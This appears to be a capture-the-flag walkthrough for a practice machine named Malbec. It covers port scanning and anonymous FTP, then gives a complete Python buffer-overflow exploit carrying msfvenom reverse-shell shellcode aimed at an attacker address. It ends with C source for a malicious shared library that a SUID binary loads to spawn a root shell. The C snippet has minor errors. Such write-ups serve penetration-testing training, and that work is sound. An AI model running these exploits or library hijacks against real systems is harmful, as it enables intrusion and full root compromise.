Malbec

Gaining Access

Nmap scan:

$ nmap -p- --min-rate 4000 192.168.240.129
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-07 13:44 +08
Nmap scan report for 192.168.240.129
Host is up (0.17s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT     STATE SERVICE
22/tcp   open  ssh
2121/tcp open  ccproxy-ftp
7138/tcp open  unknown

We can do a detailed scan on this machine in case.

$ sudo nmap -p 22,2121,7138 -sC -sV --min-rate 4000 192.168.240.129                
[sudo] password for kali: 
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-07 13:45 +08
Nmap scan report for 192.168.240.129
Host is up (0.17s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 74ba2023899262029fe73d3b83d4d96c (RSA)
|   256 548f79555ab03a695ad5723964fd074e (ECDSA)
|_  256 7f5d102762ba75e9bcc84fe27287d4e2 (ED25519)
2121/tcp open  ftp     pyftpdlib 1.5.6
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rwxrwxrwx   1 carlos   carlos     108304 Jan 25  2021 malbec.exe [NSE: writeable]
| ftp-syst: 
|   STAT: 
| FTP server status:
|  Connected to: 192.168.240.129:2121
|  Waiting for username.
|  TYPE: ASCII; STRUcture: File; MODE: Stream
|  Data connection closed.
|_End of status.
7138/tcp open  unknown

Port 2121 is FTP it seems.

FTP -> Buffer Overflow

FTP allowed for anonymous access and it only had one file:

$ ftp 192.168.240.129 -p 2121
Connected to 192.168.240.129.
220 pyftpdlib 1.5.6 ready.
Name (192.168.240.129:kali): anonymous
331 Username ok, send password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering extended passive mode (|||49067|).
125 Data connection already open. Transfer starting.
-rwxrwxrwx   1 carlos   carlos     108304 Jan 25  2021 malbec.exe

We can download this .exe file to a Windows machine for some reverse engineering.

When we check the listening ports on our Windows machine, we would see that malbec.exe opens port 7138:

This machine thus becomes a classic buffer overflow exploit as per OSCP. For this particular binary, there weren't any bad characters (other than the NULL byte) and it was just a matter of fuzzing the offset required.

I won't be going through how to do it since the OSCP BOF style is prett well-documented already, so here's the final script I used:

#!/usr/bin/python2
import socket

ip = "192.168.240.129"
port = 7138
timeout = 5

pattern = ""
#badchars = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

# final badchars are \x00
# msfvenom --payload linux/x86/shell_reverse_tcp LHOST=192.168.45.216 LPORT=21 --format c --bad-chars '\x00'
print ("\nSending evil buffer...")
size = 340
offset = "A"*size #filler
eip = "\x03\x15\x10\x41" #rtn
nop = "\x90" * 162
payload =("\xdb\xcf\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1\x12\xbf\xc0\xf8"
"\xda\x09\x31\x7a\x17\x03\x7a\x17\x83\x2a\x04\x38\xfc\x9b"
"\x2e\x4a\x1c\x88\x93\xe6\x89\x2c\x9d\xe8\xfe\x56\x50\x6a"
"\x6d\xcf\xda\x54\x5f\x6f\x53\xd2\xa6\x07\xa4\x8c\x74\x0f"
"\x4c\xcf\x86\xaf\x98\x46\x67\x1f\xc4\x08\x39\x0c\xba\xaa"
"\x30\x53\x71\x2c\x10\xfb\xe4\x02\xe6\x93\x90\x73\x27\x01"
"\x08\x05\xd4\x97\x99\x9c\xfa\xa7\x15\x52\x7c")

#buffer = pattern  #for fuzzing offset
#buffer = offset + badchars #for fuzzing bad chars
buffer = offset + eip + nop + payload 


s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,port))
s.send(bytes(buffer + "\r\n".encode("latin-1")))
s.close()
print ("\nDone!")

We can run this exploit and get a shell as the user:

$ python2 exploit_main.py

Sending evil buffer...

Done!

Privilege Escalation

SUID Binary -> Malicious Library

I ran a linpeas.sh scan on the machine, and it found a few interesting things. Firstly, root is running ldconfig periodically:

The next was this SUID binary that I didn't recognise:

-rwsr-xr-x 1 root root        17K Jan 26  2021 /usr/bin/messenger

The last was a misconfiguration of the ld.so files:

This was interesting, because it appears that the user's home directory is the part of the configuration, meaning that .so files are executed from this directory. We can run ldd for the messenger binary to check where it loads its shared object files.

carlos@malbec:/tmp$ ldd /usr/bin/messenger 
        linux-vdso.so.1 (0x00007ffd865bc000)
        libmalbec.so => not found
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f64cb634000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f64cb80a000)

So it appears that libmalbec.so is not found, and it loads it from /home/carlos. This means that we can just create a malicious libmalbec.so file that gives us a shell, and since messenger is an SUID binary, the shell will be with root privileges.

Here's the source code I took from HackTricks:

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
// this function name is a result of testing, since it appears that the binary executes a malbec function
// you would get this error if not named properly:
// /usr/bin/messenger: symbol lookup error: /usr/bin/messenger: undefined symbol: malbec
void malbec(){ # the 
    setuid(0);
    setgid(0);
    printf("I'm the bad library\n");
    system("/bin/sh",NULL,NULL);
}

We just need to compile this and transfer it to the machine:

$ gcc -shared -o libmalbec.so -fPIC exploit.c                            
exploit.c: In function ‘say_hi’:
exploit.c:9:5: warning: implicit declaration of function ‘system’ [-Wimplicit-function-declaration]
    9 |     system("/bin/sh",NULL,NULL);
      |  

Afterwards, we can wait for root to execute ldconfig, which would configure the messenger binary to use the libmalbec.so file we created. Once it does, it will show up in ldd:

carlos@malbec:/home/carlos$ ldd /usr/bin/messenger
        linux-vdso.so.1 (0x00007ffe3a3e4000)
        libmalbec.so => /home/carlos/libmalbec.so (0x00007f0975667000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f09754a6000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f0975681000)

Then, we can just execute messenger to get a root shell:

Last updated